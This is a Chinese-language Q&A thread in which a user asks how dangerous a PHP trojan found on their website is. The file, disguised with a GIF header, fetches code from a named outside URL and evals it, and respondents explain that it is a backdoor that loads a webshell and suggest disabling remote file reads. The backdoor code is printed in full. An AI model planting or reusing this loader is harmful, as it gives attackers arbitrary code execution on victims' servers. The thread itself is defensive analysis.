网站扫描出木马文件，内容如下，破坏力如何？

Question

Gif89a

<?php 
$c=&$cv;
$cv='http://www.sdcshr.com/style/admin/2.txt';
$b=file_get_contents($c);
@eval('?>'.`/******/`.$b);

请问上述域名和这个木马有关联吗，具体能造成多大破坏力。

Answer 1

这是这个文件decode 出来的内容，自己看吧

https://www.unphp.net/decode/a0e5307bce8f36d3420e273a2daaa7a9/

Answer 2

无所不能, 只要你运行PHP的linux用户可以干的事,木马都可以干.

base64的内容是一个 类似 FTP的程序, 可以上传下载,运行程序.
把 php.ini 里面的允许读取 远程文件关了就好了.

Answer 3

破坏力很高。

简单的说，这是一个可以执行任意 PHP 代码的后门。

简单的说，就是这里会去执行 http://www.sdcshr.com/style/admin/2.txt 这个链接返回的代码，目前看起来，返回的是一个 webshell。

😮